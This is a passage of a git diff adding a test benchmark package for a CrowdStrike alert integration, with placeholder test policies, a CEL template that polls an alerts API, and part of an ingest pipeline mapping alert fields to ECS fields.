state.?cursor.last_timestamp, + }, + "want_more": has(body.?meta.pagination.after), + } + ) + : + { + "events": { + "error": { + "code": string(resp.StatusCode), + "id": string(resp.Status), + "message": "POST " + state.url.trim_right("/") + "/alerts/combined/alerts/v1:" + ( + (size(resp.Body) != 0) ? + string(resp.Body) + : + string(resp.Status) + " (" + string(resp.StatusCode) + ")" + ), + }, + }, + "next": {}, + "want_more": false, + } + ) + ) + ) + publisher_pipeline.disable_host: true + redact: + fields: null + resource.ssl: null + resource.timeout: 30s + resource.tracer: + enabled: true + filename: ../../logs/cel/http-request-trace-*.ndjson + maxbackups: 5 + resource.url: http://host.tld + state: + batch_size: 1000 + initial_interval: 24h + tags: + - preserve_original_event + - preserve_duplicate_custom_fields + - forwarded + - crowdstrike-alert + type: cel + use_output: default +output_permissions: + default: + _elastic_agent_checks: + cluster: + - monitor + _elastic_agent_monitoring: + indices: [] + uuid-for-permissions-on-related-indices: + indices: + - names: + - logs-crowdstrike.alert-ep + privileges: + - auto_configure + - create_doc +secret_references: + - {} diff --git a/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/alert/_dev/test/policy/test-traced.yml b/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/alert/_dev/test/policy/test-traced.yml new file mode 100644 index 0000000000..64c1d9d27e --- /dev/null +++ b/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/alert/_dev/test/policy/test-traced.yml @@ -0,0 +1,10 @@ +vars: + url: http://host.tld + client_id: test_client_id + client_secret: test_client_secret + token_url: http://host.tld/oauth2/token +data_stream: + vars: + enable_request_tracer: true + preserve_original_event: true + preserve_duplicate_custom_fields: true diff --git a/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/alert/_dev/test/system/test-common-config.yml b/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/alert/_dev/test/system/test-common-config.yml new file mode 100644 index 0000000000..7bdfd95a91 --- /dev/null +++ b/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/alert/_dev/test/system/test-common-config.yml @@ -0,0 +1,15 @@ +input: cel +service: crowdstrike-alert +vars: + url: http://{{Hostname}}:{{Port}} + client_id: xxxx + client_secret: xxxx + token_url: http://{{Hostname}}:{{Port}}/oauth2/token +data_stream: + vars: + interval: 10s + batch_size: 1 + preserve_original_event: true + preserve_duplicate_custom_fields: true +assert: + hit_count: 3 diff --git a/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/alert/agent/stream/cel.yml.hbs b/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/alert/agent/stream/cel.yml.hbs new file mode 100644 index 0000000000..b9c4c9c6fd --- /dev/null +++ b/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/alert/agent/stream/cel.yml.hbs @@ -0,0 +1,130 @@ +config_version: 2 +interval: {{interval}} +resource.tracer: + enabled: {{enable_request_tracer}} + filename: "../../logs/cel/http-request-trace-*.ndjson" + maxbackups: 5 +{{#if proxy_url}} +resource.proxy_url: {{proxy_url}} +{{/if}} +{{#if proxy_headers}} +resource.proxy_headers: {{proxy_headers}} +{{/if}} +{{#if ssl}} +resource.ssl: {{ssl}} +{{/if}} +{{#if http_client_timeout}} +resource.timeout: {{http_client_timeout}} +{{/if}} +resource.url: {{url}} +auth.oauth2: + client.id: {{client_id}} + client.secret: {{client_secret}} + token_url: {{token_url}} +state: + initial_interval: {{initial_interval}} + batch_size: {{batch_size}} +{{#if query}} + query: {{query}} +{{/if}} +redact: + fields: ~ +program: |- + state.with( + ( + state.?want_more.orValue(false) ? + state.start_time + : + state.?cursor.last_timestamp.orValue( + (now - duration(state.initial_interval)).format(time_layout.RFC3339Nano) + ) + ).as(start_time, + post_request( + state.url.trim_right("/") + "/alerts/combined/alerts/v1?", + "application/json", + { + ?"after": state.?next.page_token, + "limit": int(state.batch_size), + "sort": "updated_timestamp|asc", + "filter": [ + "updated_timestamp:>'" + start_time + "'", + ?state.?query.optMap(q, "(" + q + ")"), + ].join("+"), + }.encode_json() + ).do_request().as(resp, (resp.StatusCode == 200) ? + resp.Body.decode_json().as(body, + (size(body.?errors.orValue([])) > 0) ? + { + "events": body.errors.map(error, + { + "error": { + "code": string(error.code), + "message": string(error.message), + }, + } + ), + "next": {}, + "want_more": false, + } + : + { + "events": has(body.resources) ? + body.resources.map(e, + { + "message": e.encode_json(), + } + ) + : + [], + "start_time": start_time, + "next": { + ?"page_token": body.?meta.pagination.after, + }, + "cursor": { + // The records are sorted in ascending order based on the value of updated_timestamp, + // in the next interval we start from the last event (newest) time. + ?"last_timestamp": (has(body.resources) && body.resources.size() > 0) ? + optional.of(timestamp(body.resources[size(body.resources) - 1].updated_timestamp).format(time_layout.RFC3339Nano)) + : + state.?cursor.last_timestamp, + }, + "want_more": has(body.?meta.pagination.after), + } + ) + : + { + "events": { + "error": { + "code": string(resp.StatusCode), + "id": string(resp.Status), + "message": "POST " + state.url.trim_right("/") + "/alerts/combined/alerts/v1:" + ( + (size(resp.Body) != 0) ? + string(resp.Body) + : + string(resp.Status) + " (" + string(resp.StatusCode) + ")" + ), + }, + }, + "next": {}, + "want_more": false, + } + ) + ) + ) +tags: +{{#if preserve_original_event}} + - preserve_original_event +{{/if}} +{{#if preserve_duplicate_custom_fields}} + - preserve_duplicate_custom_fields +{{/if}} +{{#each tags as |tag|}} + - {{tag}} +{{/each}} +{{#contains "forwarded" tags}} +publisher_pipeline.disable_host: true +{{/contains}} +{{#if processors}} +processors: +{{processors}} +{{/if}} diff --git a/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/alert/elasticsearch/ingest_pipeline/default.yml b/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/alert/elasticsearch/ingest_pipeline/default.yml new file mode 100644 index 0000000000..ca22a3da8f --- /dev/null +++ b/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/alert/elasticsearch/ingest_pipeline/default.yml @@ -0,0 +1,2829 @@ +--- +description: Pipeline for processing Alert logs. +processors: + - remove: + field: + - organization + - division + - team + ignore_missing: true + if: ctx.organization instanceof String && ctx.division instanceof String && ctx.team instanceof String + tag: remove_agentless_tags + description: >- + Removes the fields added by Agentless as metadata, + as they can collide with ECS fields. + - set: + field: ecs.version + tag: set_ecs_version + value: 8.17.0 + - set: + field: event.kind + tag: set_event_kind + value: alert + - rename: + field: message + tag: rename_message_to_event_original + target_field: event.original + ignore_missing: true + description: Renames the original `message` field to `event.original` to store a copy of the original message. The `event.original` field is not touched if the document already has one; it may happen when Logstash sends the document. + if: ctx.event?.original == null + - remove: + field: message + tag: remove_message + ignore_missing: true + description: The `message` field is no longer required if the document has an `event.original` field. + if: ctx.event?.original != null + - terminate: + tag: data_collection_error + if: ctx.error?.message != null && ctx.message == null && ctx.event?.original == null + description: error message set and no data to process. + - json: + field: event.original + tag: json_event_original + target_field: json + on_failure: + - append: + field: error.message + value: 'Processor {{{_ingest.on_failure_processor_type}}} with tag {{{_ingest.on_failure_processor_tag}}} in pipeline {{{_ingest.on_failure_pipeline}}} failed with message: {{{_ingest.on_failure_message}}}' + - set: + field: event.category + tag: set_event_category_process + value: ['process'] + if: ctx.json?.process_id != null || ctx.json?.triggering_process_graph_id != null + - set: + field: event.type + tag: set_event_type_start + value: ['start'] + if: ctx.json?.process_start_time != null + - convert: + field: json.active_directory_authentication_method + tag: convert_active_directory_authentication_method_to_long + target_field: crowdstrike.alert.active_directory_authentication_method + type: long + if: ctx.json?.active_directory_authentication_method != "" + ignore_missing: true + on_failure: + - append: + field: error.message + value: 'Processor {{{_ingest.on_failure_processor_type}}} with tag {{{_ingest.on_failure_processor_tag}}} in pipeline {{{_ingest.on_failure_pipeline}}} failed with message: {{{_ingest.on_failure_message}}}' + - rename: + field: json.activity_browser + tag: rename_activity_browser + target_field: crowdstrike.alert.activity.browser + ignore_missing: true + - rename: + field: json.activity_device + tag: rename_activity_device + target_field: crowdstrike.alert.activity.device + ignore_missing: true + - rename: + field: json.activity_id + tag: rename_activity_id + target_field: crowdstrike.alert.activity.id + ignore_missing: true + - rename: + field: json.activity_os + tag: rename_activity_os + target_field: crowdstrike.alert.activity.os + ignore_missing: true + - rename: + field: json.agent_id + tag: rename_agent_id + target_field: crowdstrike.alert.agent_id + ignore_missing: true + - set: + field: host.id + tag: set_host_id_from_alert_agent_id + copy_from: crowdstrike.alert.agent_id + ignore_empty_value: true + - rename: + field: json.agent_scan_id + tag: rename_agent_scan_id + target_field: crowdstrike.alert.agent_scan_id + ignore_missing: true + - rename: + field: json.aggregate_id + tag: rename_aggregate_id + target_field: crowdstrike.alert.aggregate_id + ignore_missing: true + - convert: + field: json.alert_attributes + tag: convert_alert_attributes_to_long + target_field: crowdstrike.alert.alert_attributes + type: long + if: ctx.json?.alert_attributes != "" + ignore_missing: true + on_failure: + - append: + field: error.message + value: 'Processor {{{_ingest.on_failure_processor_type}}} with tag {{{_ingest.on_failure_processor_tag}}} in pipeline {{{_ingest.on_failure_pipeline}}} failed with message: {{{_ingest.on_failure_message}}}' + - rename: + field: json.alleged_filetype + tag: rename_alleged_filetype + target_field: crowdstrike.alert.alleged_filetype + ignore_missing: true + - rename: + field: json.assigned_to_name + tag: rename_assigned_to_name + target_field: crowdstrike.alert.assigned_to.name + ignore_missing: true + - rename: + field: json.assigned_to_uid + tag: rename_assigned_to_uid + target_field: crowdstrike.alert.assigned_to.uid + ignore_missing: true + - append: + field: related.user + tag: append_crowdstrike_alert_assigned_to_uid_into_related_user + value: '{{{crowdstrike.alert.assigned_to.uid}}}' + allow_duplicates: false + if: ctx.crowdstrike?.alert?.assigned_to?.uid != null + - rename: + field: json.assigned_to_uuid + tag: rename_assigned_to_uuid + target_field: crowdstrike.alert.assigned_to.uuid + ignore_missing: true + - foreach: + field: json.associated_files + if: ctx.json?.associated_files instanceof List + processor: + append: + field: related.hash + tag: append_associated_files_sha256_into_related_hash + value: '{{{_ingest._value.sha256}}}' + allow_duplicates: false + - rename: + field: json.associated_files + tag: rename_associated_files + target_field: crowdstrike.alert.associated_files + ignore_missing: true + - rename: + field: json.child_process_ids + tag: rename_child_process_ids + target_field: crowdstrike.alert.child_process_ids + ignore_missing: true + - rename: + field: json.cid + tag: rename_cid + target_field: crowdstrike.alert.cid + ignore_missing: true + - convert: + field: json.cloud_indicator + tag: convert_cloud_indicator_to_boolean + target_field: crowdstrike.alert.cloud_indicator + type: boolean + if: ctx.json?.cloud_indicator != "" + ignore_missing: true + on_failure: + - append: + field: error.message + value: 'Processor {{{_ingest.on_failure_processor_type}}} with tag {{{_ingest.on_failure_processor_tag}}} in pipeline {{{_ingest.on_failure_pipeline}}} failed with message: {{{_ingest.on_failure_message}}}' + - convert: + field: json.prevented + tag: convert_prevented_to_boolean + target_field: crowdstrike.alert.prevented + type: boolean + if: ctx.json?.prevented != "" + ignore_missing: true + on_failure: + - append: + field: error.message + value: 'Processor {{{_ingest.on_failure_processor_type}}} with tag {{{_ingest.on_failure_processor_tag}}} in pipeline {{{_ingest.on_failure_pipeline}}} failed with message: {{{_ingest.on_failure_message}}}' + - rename: + field: json.worker_node_name + tag: rename_worker_node_name + target_field: crowdstrike.alert.worker_node_name + ignore_missing: true + - rename: + field: json.cmdline + tag: rename_cmdline + target_field: crowdstrike.alert.cmdline + ignore_missing: true + - rename: + field: json.command_line + tag: rename_command_line + target_field: crowdstrike.alert.command_line + ignore_missing: true + - set: + field: process.command_line + tag: set_process_command_line + copy_from: crowdstrike.alert.command_line + ignore_empty_value: true + - rename: + field: json.comment + tag: rename_comment + target_field: crowdstrike.alert.comment + ignore_missing: true + - rename: + field: json.composite_id + tag: rename_composite_id + target_field: crowdstrike.alert.composite_id + ignore_missing: true + - convert: + field: json.confidence + tag: convert_confidence_to_long + target_field: crowdstrike.alert.confidence + type: long + if: ctx.json?.confidence != "" + ignore_missing: true + on_failure: + - append: + field: error.message + value: 'Processor {{{_ingest.on_failure_processor_type}}} with tag {{{_ingest.on_failure_processor_tag}}} in pipeline {{{_ingest.on_failure_pipeline}}} failed with message: {{{_ingest.on_failure_message}}}' + - date: + field: json.context_timestamp + tag: date_context_timestamp + target_field: crowdstrike.alert.context_timestamp + formats: + - ISO8601 + if: ctx.json?.context_timestamp != null && ctx.json.context_timestamp != '' + on_failure: + - append: + field: error.message + value: 'Processor {{{_ingest.on_failure_processor_type}}} with tag {{{_ingest.on_failure_processor_tag}}} in pipeline {{{_ingest.on_failure_pipeline}}} failed with message: {{{_ingest.on_failure_message}}}' + - rename: + field: json.control_graph_id + tag: rename_control_graph_id + target_field: crowdstrike.alert.control_graph_id + ignore_missing: true + - rename: + field: json.crawl_edge_ids.Sensor + tag: rename_crawl_edge_ids_Sensor + target_field: crowdstrike.alert.crawl_edge_ids.Sensor + ignore_missing: true + - rename: + field: json.crawl_vertex_ids.Sensor + tag: rename_crawl_vertex_ids_Sensor + target_field: crowdstrike.alert.crawl_vertex_ids.Sensor + ignore_missing: true + - date: + field: json.crawled_timestamp + tag: date_crawled_timestamp + target_field: crowdstrike.alert.crawled_timestamp + formats: + - ISO8601 + if: ctx.json?.crawled_timestamp != null && ctx.json.crawled_timestamp != '' + on_failure: + - append: + field: error.message + value: 'Processor {{{_ingest.on_failure_processor_type}}} with tag {{{_ingest.on_failure_processor_tag}}} in pipeline {{{_ingest.on_failure_pipeline}}} failed with message: {{{_ingest.on_failure_message}}}' + - date: + field: json.created_timestamp + tag: date_created_timestamp + target_field: crowdstrike.alert.created_timestamp + formats: + - ISO8601 + if: ctx.json?.created_timestamp != null && ctx.json.created_timestamp != '' + on_failure: + - append: + field: error.message + value: 'Processor {{{_ingest.on_failure_processor_type}}} with tag {{{_ingest.on_failure_processor_tag}}} in pipeline {{{_ingest.on_failure_pipeline}}} failed with message: {{{_ingest.on_failure_message}}}' + - rename: + field: json.data_domains + tag: rename_data_domains + target_field: crowdstrike.alert.data_domains + ignore_missing: true + - rename: + field: json.description + tag: rename_description + target_field: crowdstrike.alert.description + ignore_missing: true + - set: + field: message + tag: set_message_from_alert_description + copy_from: crowdstrike.alert.description + ignore_empty_value: true + - rename: + field: json.detect_type + tag: rename_detect_type + target_field: crowdstrike.alert.detect_type + ignore_missing: true + - convert: + field: json.device.agent_load_flags + tag: convert_device_agent_load_flags_to_long + target_field: crowdstrike.alert.device.agent_load_flags + type: long + if: ctx.json?.device?.agent_load_flags != "" + ignore_missing: true + on_failure: + - append: + field: error.message + value: 'Processor {{{_ingest.on_failure_processor_type}}} with tag {{{_ingest.on_failure_processor_tag}}} in pipeline {{{_ingest.on_failure_pipeline}}} failed with message: {{{_ingest.on_failure_message}}}' + - date: + field: json.device.agent_local_time + tag: date_device_agent_local_time + target_field: crowdstrike.alert.device.agent_local_time + formats: + - ISO8601 + if: ctx.json?.device?.agent_local_time != null && ctx.json.device.agent_local_time != '' + on_failure: + - append: + field: error.message + value: 'Processor {{{_ingest.on_failure_processor_type}}} with tag {{{_ingest.on_failure_processor_tag}}} in pipeline {{{_ingest.on_failure_pipeline}}} failed with message: {{{_ingest.on_failure_message}}}' + - rename: + field: json.device.agent_version + tag: rename_device_agent_version + target_field: crowdstrike.alert.device.agent_version + ignore_missing: true + - rename: + field: json.device.bios_manufacturer + tag: rename_device_bios_manufacturer + target_field: crowdstrike.alert.device.bios_manufacturer + ignore_missing: true + - rename: + field: json.device.bios_version + tag: rename_device_bios_version + target_field: crowdstrike.alert.device.bios_version + ignore_missing: true + - rename: + field: json.device.cid + tag: rename_device_cid + target_field: crowdstrike.alert.device.cid + ignore_missing: true + - rename: + field: json.device.config_id_base + tag: rename_device_config_id_base + target_field: crowdstrike.alert.device.config_id_base + ignore_missing: true + - rename: + field: json.device.config_id_build + tag: rename_device_config_id_build + target_field: crowdstrike.alert.device.config_id_build + ignore_missing: true + - convert: + field: json.device.config_id_platform + tag: convert_device_config_id_platform_to_long + target_field: crowdstrike.alert.device.config_id_platform + type: long + if: ctx.json?.device?.config_id_platform != "" + ignore_missing: true + on_failure: + - append: + field: error.message + value: 'Processor {{{_ingest.on_failure_processor_type}}} with tag {{{_ingest.on_failure_processor_tag}}} in pipeline {{{_ingest.on_failure_pipeline}}} failed with message: {{{_ingest.on_failure_message}}}' + - convert: + field: json.device.external_ip + tag: convert_device_external_ip_to_ip + target_field: crowdstrike.alert.device.external_ip + type: ip + ignore_missing: true + if: ctx.json?.device?.external_ip != null && ctx.json.device.external_ip != '' + on_failure: + - append: + field: error.message + value: 'Processor {{{_ingest.on_failure_processor_type}}} with tag {{{_ingest.on_failure_processor_tag}}} in pipeline {{{_ingest.on_failure_pipeline}}} failed with message: {{{_ingest.on_failure_message}}}' + - append: + field: related.ip + tag: append_crowdstrike_alert_device_external_ip_into_related_ip + value: '{{{crowdstrike.alert.device.external_ip}}}' + allow_duplicates: false + if: ctx.crowdstrike?.alert?.device?.external_ip != null + - append: + field: host.ip + tag: append_crowdstrike_alert_device_external_ip_into_host_ip + value: '{{{crowdstrike.alert.device.external_ip}}}' + allow_duplicates: false + if: ctx.crowdstrike?.alert?.device?.external_ip != null + - date: + field: json.device.first_seen + tag: date_device_first_seen + target_field: crowdstrike.alert.device.first_seen + formats: + - ISO8601 + if: ctx.json?.device?.first_seen != null && ctx.json.device.first_seen != '' + on_failure: + - append: + field: error.message + value: 'Processor {{{_ingest.on_failure_processor_type}}} with tag {{{_ingest.on_failure_processor_tag}}} in pipeline {{{_ingest.on_failure_pipeline}}} failed with message: {{{_ingest.on_failure_message}}}' + - rename: + field: json.device.groups + tag: rename_device_groups + target_field: crowdstrike.alert.device.groups + ignore_missing: true + - rename: + field: json.device.hostinfo.active_directory_dn_display + tag: rename_device_hostinfo_active_directory_dn_display + target_field: crowdstrike.alert.device.hostinfo.active_directory_dn_display + ignore_missing: true + - rename: + field: json.device.hostinfo.domain + tag: rename_device_hostinfo_domain + target_field: crowdstrike.alert.device.hostinfo.domain + ignore_missing: true + - set: + field: host.domain + tag: set_host_domain_from_alert_device_hostinfo_domain + copy_from: crowdstrike.alert.device.hostinfo.domain + ignore_empty_value: true + - append: + field: related.hosts + value: '{{{host.domain}}}' + allow_duplicates: false + if: ctx.host?.domain != null + - rename: + field: json.device.hostname + tag: rename_device_hostname + target_field: crowdstrike.alert.device.hostname + ignore_missing: true + - set: + field: host.hostname + tag: set_host_hostname_from_alert_device_hostname + copy_from: crowdstrike.alert.device.hostname + ignore_empty_value: true + - append: + field: related.hosts + value: '{{{host.hostname}}}' + allow_duplicates: false + if: ctx.host?.hostname != null + - rename: + field: json.device.device_id + tag: rename_device_device_id + target_field: crowdstrike.alert.device.id + ignore_missing: true + - set: + field: device.id + tag: set_device_id_from_alert_device_id + copy_from: crowdstrike.alert.device.id + ignore_empty_value: true + - date: + field: json.device.last_seen + tag: date_device_last_seen + target_field: crowdstrike.alert.device.last_seen + formats: + - ISO8601 + if: ctx.json?.device?.last_seen != null && ctx.json.device.last_seen != '' + on_failure: + - append: + field: error.message + value: 'Processor {{{_ingest.on_failure_processor_type}}} with tag {{{_ingest.on_failure_processor_tag}}} in pipeline {{{_ingest.on_failure_pipeline}}} failed with message: {{{_ingest.on_failure_message}}}' + - convert: + field: json.device.local_ip + tag: convert_device_local_ip_to_ip + target_field: crowdstrike.alert.device.local_ip + type: ip + ignore_missing: true + if: ctx.json?.device?.local_ip != null && ctx.json.device.local_ip != '' + on_failure: + - append: + field: error.message + value: 'Processor {{{_ingest.on_failure_processor_type}}} with tag {{{_ingest.on_failure_processor_tag}}} in pipeline {{{_ingest.on_failure_pipeline}}} failed with message: {{{_ingest.on_failure_message}}}' + - append: + field: related.ip + tag: append_crowdstrike_alert_device_local_ip_into_related_ip + value: '{{{crowdstrike.alert.device.local_ip}}}' + allow_duplicates: false + if: ctx.crowdstrike?.alert?.device?.local_ip != null + - append: + field: host.ip + tag: append_crowdstrike_alert_device_local_ip_into_host_ip + value: '{{{crowdstrike.alert.device.local_ip}}}' + allow_duplicates: false + if: ctx.crowdstrike?.alert?.device?.local_ip != null + - gsub: + field: json.device.mac_address + tag: gsub_device_mac_address + pattern: '[:.]' + replacement: '-' + target_field: crowdstrike.alert.device.mac_address + ignore_missing: true + on_failure: + - append: + field: error.message + value: 'Processor {{{_ingest.on_failure_processor_type}}} with tag {{{_ingest.on_failure_processor_tag}}} in pipeline {{{_ingest.on_failure_pipeline}}} failed with message: {{{_ingest.on_failure_message}}}' + - uppercase: + field: crowdstrike.alert.device.mac_address + tag: uppercase_device_mac_address + ignore_missing: true + if: ctx.crowdstrike?.alert?.device?.mac_address != '' + on_failure: + - append: + field: error.message + value: 'Processor {{{_ingest.on_failure_processor_type}}} with tag {{{_ingest.on_failure_processor_tag}}} in pipeline {{{_ingest.on_failure_pipeline}}} failed with message: {{{_ingest.on_failure_message}}}' + - append: + field: host.mac + value: '{{{crowdstrike.alert.device.mac_address}}}' + tag: append_device_mac_address_into_host_mac + allow_duplicates: false + if: ctx.crowdstrike?.alert?.device?.mac_address != null + - rename: + field: json.device.machine_domain + tag: rename_device_machine_domain + target_field: crowdstrike.alert.device.machine_domain + ignore_missing: true + - append: + field: related.hosts + value: '{{{crowdstrike.alert.device.machine_domain}}}' + allow_duplicates: false + if: ctx.crowdstrike?.alert?.device?.machine_domain != null + - rename: + field: json.device.major_version + tag: rename_device_major_version + target_field: crowdstrike.alert.device.major_version + ignore_missing: true + - rename: + field: json.device.minor_version + tag: rename_device_minor_version + target_field: crowdstrike.alert.device.minor_version + ignore_missing: true + - date: + field: json.device.modified_timestamp + tag: date_device_modified_timestamp + target_field: crowdstrike.alert.device.modified_timestamp + formats: + - ISO8601 + if: ctx.json?.device?.modified_timestamp != null && ctx.json.device.modified_timestamp != '' + on_failure: + - append: + field: error.message + value: 'Processor {{{_ingest.on_failure_processor_type}}} with tag {{{_ingest.on_failure_processor_tag}}} in pipeline {{{_ingest.on_failure_pipeline}}} failed with message: {{{_ingest.on_failure_message}}}' + - rename: + field: json.device.os_version + tag: rename_device_os_version + target_field: crowdstrike.alert.device.os_version + ignore_missing: true + - set: + field: host.os.full + tag: set_host_os_full_from_alert_device_os_version + copy_from: crowdstrike.alert.device.os_version + ignore_empty_value: true + - rename: + field: json.device.ou + tag: rename_device_ou + target_field: crowdstrike.alert.device.ou + ignore_missing: true + - rename: + field: json.device.platform_id + tag: rename_device_platform_id + target_field: crowdstrike.alert.device.platform_id + ignore_missing: true + - rename: + field: json.device.platform_name + tag: rename_device_platform_name + target_field: crowdstrike.alert.device.platform_name + ignore_missing: true + - set: + field: host.os.platform + tag: set_host_os_platform_from_alert_device_platform_name + copy_from: crowdstrike.alert.device.platform_name + ignore_empty_value: true + - rename: + field: json.device.pod_labels + tag: rename_device_pod_labels + target_field: crowdstrike.alert.device.pod_labels + ignore_missing: true + - rename: + field: json.device.product_type + tag: rename_device_product_type + target_field: crowdstrike.alert.device.product_type + ignore_missing: true + - rename: + field: json.device.product_type_desc + tag: rename_device_product_type_desc + target_field: crowdstrike.alert.device.product_type_desc + ignore_missing: true + - rename: + field: json.device.site_name + tag: rename_device_site_name + target_field: crowdstrike.alert.device.site_name + ignore_missing: true + - rename: + field: json.device.status + tag: rename_device_status + target_field: crowdstrike.alert.device.status + ignore_missing: true + - rename: + field: json.device.system_manufacturer + tag: rename_device_system_manufacturer + target_field: crowdstrike.alert.device.system_manufacturer + ignore_missing: true + - set: + field: device.manufacturer + tag: set_device_manufacturer + copy_from: crowdstrike.alert.device.system_manufacturer + ignore_empty_value: true + - rename: + field: json.device.system_product_name + tag: rename_device_system_product_name + target_field: crowdstrike.alert.device.system_product_name + ignore_missing: true + - set: + field: device.model.name + tag: set_device_model_name + copy_from: crowdstrike.alert.device.system_product_name + ignore_empty_value: true + - rename: + field: json.device.tags + tag: rename_device_tags + target_field: crowdstrike.alert.device.tags + ignore_missing: true + - foreach: + field: crowdstrike.alert.device.tags + if: ctx.crowdstrike?.alert?.device?.tags instanceof List + processor: + append: + field: tags + tag: append_device_tags_into_tags + value: '{{{_ingest._value}}}' + allow_duplicates: false + - rename: + field: json.display_name + tag: rename_display_name + target_field: crowdstrike.alert.display_name + ignore_missing: true + - foreach: + field: json.documents_accessed + if: ctx.json?.documents_accessed instanceof List + processor: + date: + field: _ingest._value.timestamp + tag: date_documents_accessed_timestamp + target_field: _ingest._value.timestamp + formats: + - UNIX + - UNIX_MS + on_failure: + - remove: + field: _ingest._value.timestamp + ignore_missing: true + - rename: + field: json.documents_accessed + tag: rename_documents_accessed + target_field: crowdstrike.alert.documents_accessed + ignore_missing: true + - convert: + field: json.email_sent + tag: convert_email_sent_to_boolean + target_field: crowdstrike.alert.email_sent + type: boolean + if: ctx.json?.email_sent != "" + ignore_missing: true + on_failure: + - append: + field: error.message + value: 'Processor {{{_ingest.on_failure_processor_type}}} with tag {{{_ingest.on_failure_processor_tag}}} in pipeline {{{_ingest.on_failure_pipeline}}} failed with message: {{{_ingest.on_failure_message}}}' + - date: + field: json.end_time + tag: date_end_time + target_field: crowdstrike.alert.end_time + formats: + - ISO8601 + if: ctx.json?.end_time != null && ctx.json.end_time != '' + on_failure: + - append: + field: error.message + value: 'Processor {{{_ingest.on_failure_processor_type}}} with tag {{{_ingest.on_failure_processor_tag}}} in pipeline {{{_ingest.on_failure_pipeline}}} failed with message: {{{_ingest.on_failure_message}}}' + - set: + field: event.end + tag: set_event_end_from_alert_end_time + copy_from: crowdstrike.alert.end_time + ignore_empty_value: true + - rename: + field: json.event_id + tag: rename_event_id + target_field: crowdstrike.alert.event_id + ignore_missing: true + - foreach: + field: json.executables_written + if: ctx.json?.executables_written instanceof List + processor: + date: + field: _ingest._value.timestamp + tag: date_executables_written_timestamp + target_field: _ingest._value.timestamp + formats: + - UNIX + - UNIX_MS + on_failure: + - remove: + field: _ingest._value.timestamp + ignore_missing: true + - rename: + field: json.executables_written + tag: rename_executables_written + target_field: crowdstrike.alert.executables_written + ignore_missing: true + - rename: + field: json.falcon_host_link + tag: rename_falcon_host_link + target_field: crowdstrike.alert.falcon_host_link + ignore_missing: true + - rename: + field: json.filename + tag: rename_filename + target_field: crowdstrike.alert.filename + ignore_missing: true + - set: + field: file.name + tag: set_file_name_from_alert_filename + copy_from: crowdstrike.alert.filename + ignore_empty_value: true + - set: + field: process.name + tag: set_process_name + copy_from: crowdstrike.alert.filename + ignore_empty_value: true + - rename: + field: json.filepath + tag: rename_filepath + target_field: crowdstrike.alert.filepath + ignore_missing: true + - set: + field: file.path + tag: set_file_path_from_alert_filepath + copy_from: crowdstrike.alert.filepath + ignore_empty_value: true + - set: + field: process.executable + tag: set_process_executable + copy_from: crowdstrike.alert.filepath + ignore_empty_value: true + - foreach: + field: json.file_writes + if: ctx.json?.file_writes instanceof List + processor: + append: + field: related.hash + tag: append_file_writes_sha256_into_related_hash + value: '{{{_ingest._value.sha256}}}' + allow_duplicates: false + - rename: + field: json.file_writes + tag: rename_file_writes + target_field: crowdstrike.alert.file_writes + ignore_missing: true + - foreach: + field: json.files_accessed + if: ctx.json?.files_accessed instanceof List + processor: + date: + field: _ingest._value.timestamp + tag: date_files_accessed_timestamp + target_field: _ingest._value.timestamp + formats: + - UNIX + - UNIX_MS + on_failure: + - remove: + field: _ingest._value.timestamp + ignore_missing: true + - rename: + field: json.files_accessed + tag: rename_files_accessed + target_field: crowdstrike.alert.files_accessed + ignore_missing: true + - foreach: + field: json.files_written + if: ctx.json?.files_written instanceof List + processor: + date: + field: _ingest._value.timestamp + tag: date_files_written_timestamp + target_field: _ingest._value.timestamp + formats: + - UNIX + - UNIX_MS + on_failure: + - remove: + field: _ingest._value.timestamp + ignore_missing: true + - rename: + field: json.files_written + tag: rename_files_written + target_field: crowdstrike.alert.files_written + ignore_missing: true + - rename: + field: json.global_prevalence + tag: rename_global_prevalence + target_field: crowdstrike.alert.global_prevalence + ignore_missing: true + - rename: + field: json.grandparent_details.cmdline + tag: rename_grandparent_details_cmdline + target_field: crowdstrike.alert.grandparent_details.cmdline + ignore_missing: true + - rename: + field: json.grandparent_details.filename + tag: rename_grandparent_details_filename + target_field: crowdstrike.alert.grandparent_details.filename + ignore_missing: true + - rename: + field: json.grandparent_details.filepath + tag: rename_grandparent_details_filepath + target_field: crowdstrike.alert.grandparent_details.filepath + ignore_missing: true + - rename: + field: json.grandparent_details.local_process_id + tag: rename_grandparent_details_local_process_id + target_field: crowdstrike.alert.grandparent_details.local_process_id + ignore_missing: true + - rename: + field: json.grandparent_details.md5 + tag: rename_grandparent_details_md5 + target_field: crowdstrike.alert.grandparent_details.md5 + ignore_missing: true + - append: + field: related.hash + value: '{{{crowdstrike.alert.grandparent_details.md5}}}' + allow_duplicates: false + if: ctx.crowdstrike?.alert?.grandparent_details?.md5 != null + - rename: + field: json.grandparent_details.process_graph_id + tag: rename_grandparent_details_process_graph_id + target_field: crowdstrike.alert.grandparent_details.process_graph_id + ignore_missing: true + - rename: + field: json.grandparent_details.process_id + tag: rename_grandparent_details_process_id + target_field: crowdstrike.alert.grandparent_details.process_id + ignore_missing: true + - rename: + field: json.grandparent_details.sha256 + tag: rename_grandparent_details_sha256 + target_field: crowdstrike.alert.grandparent_details.sha256 + ignore_missing: true + - append: + field: related.hash + value: '{{{crowdstrike.alert.grandparent_details.sha256}}}' + allow_duplicates: false + if: ctx.crowdstrike?.alert?.grandparent_details?.sha256 != null + - date: + field: json.grandparent_details.timestamp + tag: date_grandparent_details_timestamp + target_field: crowdstrike.alert.grandparent_details.timestamp + formats: + - ISO8601 + if: ctx.json?.grandparent_details?.timestamp != null && ctx.json.grandparent_details.timestamp != '' + on_failure: + - append: + field: error.message + value: 'Processor {{{_ingest.on_failure_processor_type}}} with tag {{{_ingest.on_failure_processor_tag}}} in pipeline {{{_ingest.on_failure_pipeline}}} failed with message: {{{_ingest.on_failure_message}}}' + - rename: + 